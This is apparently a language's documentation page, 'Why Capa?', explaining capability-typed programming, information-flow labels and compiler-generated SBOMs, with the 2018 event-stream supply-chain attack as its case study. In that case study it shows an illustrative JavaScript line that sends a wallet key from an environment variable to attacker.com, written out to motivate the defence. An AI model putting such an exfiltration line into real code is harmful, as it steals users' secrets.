Why Capa?
The case for moving authority into the type system, in three steps: the problem (ambient authority), a concrete attack it enabled (event-stream), and the discipline Capa proposes in response. Then a second axis, information-flow control, that governs not just which effects a function may exercise but where its data is allowed to go.
Capa is a capability-typed language whose discipline holds by construction, and whose type system therefore backs machine-verifiable per-function audit artefacts with one specific property: the compiler rejects any program whose SBOM would be smaller than its actual capability footprint.
The problem: ambient authority
In Python, JavaScript, Java, Go, C#, Ruby, and almost every mainstream language, any function in any module has the same baseline access as any other function in the same process. It can open sockets, read your filesystem, leak environment variables, spawn subprocesses, change directory, without any of that being visible in its signature.
This is called ambient authority. The authority is in the surrounding environment (the process, the runtime), not in the values the function holds. A function does not need to ask for a network handle to make a network request; the network is just there.
For decades, ambient authority was treated as a convenience, not a hazard. The cost shows up the moment a dependency does something its public API never claimed: the language has no way to tell, and no way to refuse. Capa's premise is that this gap belongs in the type system, not in policy scanners.
A concrete example: event-stream
In November 2018, the npm package event-stream (~2 million weekly downloads) shipped a Bitcoin-wallet-stealing payload into the Copay wallet app. A new maintainer added an obfuscated dependency, flatmap-stream, that activated only inside Copay's bundle and exfiltrated wallet keys to a remote server.
The library was nominally a pure stream transformation utility. Its public API said nothing about the network, the filesystem, or the environment. But the JavaScript runtime gave the library ambient authority over all three, and that gap between contract and capability is what the attack exploited.
function flatMap(input, f) {
// The signature says: pure stream transformation.
// The implementation can do anything.
fetch('https://attacker.com', {
body: process.env.WALLET_KEY,
});
// ...transform input...
}
fun flat_map(
lines: List<String>,
f: Fun(String) -> List<String>
) -> List<String>
// `net` and `env` are not in scope.
// The compiler rejects any attempt to use them.
...
In the Capa version, the names net and env are not visible inside the function body. They were not declared as parameters. Trying to use them is a compile error:
error: undefined name 'net'
3 | net.get("https://attacker.com")
^
error: undefined name 'env'
4 | env.get("WALLET_KEY")
^
To mount the attack, the malicious maintainer would have to change the signature of flat_map to take a Net and an Env. Every caller of flat_map in the dependency tree would then have to thread those capabilities through. The change is loud, it appears in pull requests, dependency-upgrade diffs, code review, and SBOM analyses. It is exactly the kind of signal an auditor, human or automated, can act on.
A complete walkthrough of the incident, with primary sources and the full Capa version, is at the event-stream demo.
The discipline, in three layers
Capa's capability discipline is enforced at three layers. None is sufficient on its own; together they give a strong v1 approximation to a linear type system.
Structural
Capabilities can appear only as function parameters. The analyzer rejects them as struct fields, variant payloads, return types, constants, locals, or generic args.
// Rejected:
type Service {
stdio: Stdio,
name: String
}
// error: capability 'Stdio' cannot
// appear in struct field 'stdio'
Flow
The same capability cannot be passed as two arguments of the same call. Declared capability parameters must be used (or prefixed with _).
fun main(stdio: Stdio)
f(stdio, stdio)
// error: capability 'stdio'
// cannot be aliased across
// arguments of f
Linear
The consume keyword marks parameters that take ownership. Fork/merge tracking handles branches and loops, conservative on join points.
fun close(consume f: File)
...
fun use(f: File)
close(f)
f.read()
// error: 'f' was consumed earlier
Capabilities can be attenuated
A capability is not all-or-nothing. Net.restrict_to(host) returns a fresh Net with authority narrowed to a single host. Restrictions only narrow, chaining two restrict_to calls intersects their allowed-host sets, never widens. The runtime check fires before any system call, so a blocked host never opens a socket.
fun fetch_user(net: Net, id: String) -> Result<String, IoError>
return net.get("https://api.example.com/users/${id}")
fun main(net: Net, stdio: Stdio)
// Narrow the network capability before handing it down.
let api = net.restrict_to("api.example.com")
match fetch_user(api, "42")
Ok(body) -> stdio.println(body)
Err(e) -> stdio.eprintln("${e}")
fetch_user receives the attenuated capability. It cannot reach evil.example.com even if its implementation tried, the runtime would short-circuit with an Err before any network call. The chain of authority from main downward is visible at every link.
Libraries declare their own capabilities
Capa is not limited to the built-in capabilities Stdio, Fs, Net, Env, Clock, Random, and Unsafe. A library can declare its own, SendEmail, QueryDB, PublishMessage, and the discipline applies uniformly.
capability SendEmail
fun send(self, to: String, subject: String, body: String) -> Result<Unit, IoError>
type SmtpMailer { server: String, net: Net }
impl SendEmail for SmtpMailer
fun send(self, to: String, subject: String, body: String) -> Result<Unit, IoError>
...
fun welcome(mailer: SendEmail, to: String) -> Result<Unit, IoError>
return mailer.send(to, "Welcome", "Hello!")
A function that takes a SendEmail can send email, and the type system guarantees that is the only thing the capability carries. No hidden Net, no hidden Fs. A higher-level library can encapsulate the low-level capabilities its implementation needs and expose only the higher-level contract to its callers.
The other axis: where data is allowed to flow
Capabilities control which effects a function may exercise. Information-flow control (IFC) controls where data may flow. Together they answer a question no mainstream language answers by construction: can this function read secret X and send it over the network?
Capa carries a two-point security lattice: @public sits below @secret. You annotate the types, parameters, or struct fields that hold sensitive data, and the compiler tracks the rest.
fun handle(net: Net, token: @secret String)
// `greeting` becomes @secret by join: a public
// string interpolated with a secret is secret.
let greeting = "Bearer ${token}"
net.post("https://api.example.com", greeting)
// information-flow violation: a @secret value
// reaches Net.post, a public sink
Labels propagate automatically by join through every derived value: arithmetic, string interpolation, field reads. A function call with a secret argument returns a secret. And the most common exfiltration source is secret by default: env.get(...) returns @secret with no annotation at all, which covers the API-key and prompt-injection leak case out of the box.
The sinks are the points where data leaves the program: Stdio.print / println / eprintln, Net.get / post, Fs.write, Db.exec / query. A @secret value reaching any of them is an information-flow violation, reported at compile time.
The policy is warn-then-enforce: a warning by default, and a hard error under the @strict_ifc() function attribute. Under @strict_ifc, the compiler also catches implicit flows, a sink inside a branch guarded by a secret condition, where the secret leaks through control flow rather than data.
The single sanctioned way to move a secret to public is declassify, and it demands a named reason:
let masked = declassify(mask_card(card), reason: "PCI: only last 4 digits retained")
stdio.println(masked)
Every declassify site is recorded in the SBOM as declassification_sites, with its reason, value, and source position, generated by the compiler. That is a machine-checkable record of exactly where, and why, a program discloses sensitive data.
Secrets do not launder through containers. A secret stashed in a struct, list, or tuple literal, or in a mutable Map / Set / List, or iterated over in a for loop, stays secret. The label follows the data.
The honest boundaries: IFC is intra-procedural, so crossing a function boundary requires an explicit @secret parameter (this is by design, it keeps signatures honest about what they receive). Granularity is mixed: a struct field declared @secret in its type now keeps its label per-field, both when read directly and when destructured (and the label propagates through callees that read, return, or sink that field), so a declared-secret field cannot be laundered through a public sibling. A runtime secret stashed into a field that was not declared secret, and any secret inside a list, map, or tuple, is still tracked at whole-aggregate granularity: the container is secret as a whole. Finer per-element precision for those cases remains future work.
This per-field precision for declared-secret fields landed in 1.2.0 as part of a soundness-hardening pass, alongside fixes to the linear use-once discipline; the changes only ever reject more, and are documented in a published security advisory.
A worked example is capa_paymentguard, a payment-security core (PCI DSS / PSD2) where the compiler proves a card number cannot reach a log line or a network call unless it is masked through declassify, and the SBOM lists every disclosure point.
Where the type system can take you next
Capa is a capability-typed language; dialects of that idea exist in Pony, Koka, the WebAssembly Component Model, and elsewhere. The most recent entrant is Zero (Vercel Labs, May 2026), the only other language with capability-based I/O as its headline: Zero is a systems language in the C / Rust space whose distinctive choice is a toolchain that emits stable error codes and typed repair categories so AI agents can read and repair code without a human in the loop. Zero's audience is the AI-agent toolchain; Capa's audience is the supply-chain auditor. Same intellectual root, different application.
What Capa adds on top is that, because the authority graph already lives in the type system, the compiler can emit standard supply-chain artefacts from source without an external scanner having to approximate the same information from binaries or heuristics. The same compile that rejects ambient authority can also produce, in one pass:
--manifest, Capa-native JSON describing per-function authority, attached metadata, and the call graph.--cyclonedx, a valid CycloneDX 1.5 SBOM with capability metadata embedded as standardproperties[].--spdx, the SPDX 2.3 companion. Same content, different schema; pick whichever your downstream consumer standardises on.--vex, CycloneDX VEX with per-function exploitability claims driven by a new@vexattribute. "This CVE is in our SBOM, but this specific function is not_affected because the path is not reachable" becomes a machine-readable claim a regulator can ingest.--provenance, a SLSA Build L1 provenance attestation (in-toto Statement v1 + SLSA Provenance v1.0 predicate) binding the artefact to the SHA-256 of its source.
The same content shows up downstream in whatever process needs it: dependency review, audit, regulator-facing evidence under CRA / NIS2 / DORA / NIST SSDF / OWASP SCVS. The mapping across those frameworks lives on the regulatory page. Capa's contribution at the language layer is the discipline itself; the emitters are a consequence of having the information in the right place.
What Capa does not solve
To be honest about the limits:
- A capability holder with bad intent is still dangerous. If a library legitimately needs
Netand ships a malicious version, the language cannot tell a legitimate request from a malicious one. The discipline narrows where attacks can hide; it does not eliminate trust entirely. Attenuation (restrict_to) reduces this risk further. - The Python interop boundary is a risk. Anything that crosses into Python via
py_import/py_invokeloses Capa's guarantees. The boundary is gated by theUnsafecapability so it is explicit, but the loss is real. - Capa is not a sandbox. A determined attacker with process-level access can do things the language cannot prevent (read raw memory, modify the interpreter, etc). Capa raises the bar at the source level, where most supply-chain attacks live.
- Capa is not a replacement for SBOM/SCA tooling. The two are complementary: SBOMs tell you what components are in your software; Capa tells you what each component is allowed to do.
For an honest comparison with adjacent languages and tools (Pony, Koka, Roc, the WebAssembly Component Model), and a precise statement of what is and is not unique about Capa, see docs/positioning.md.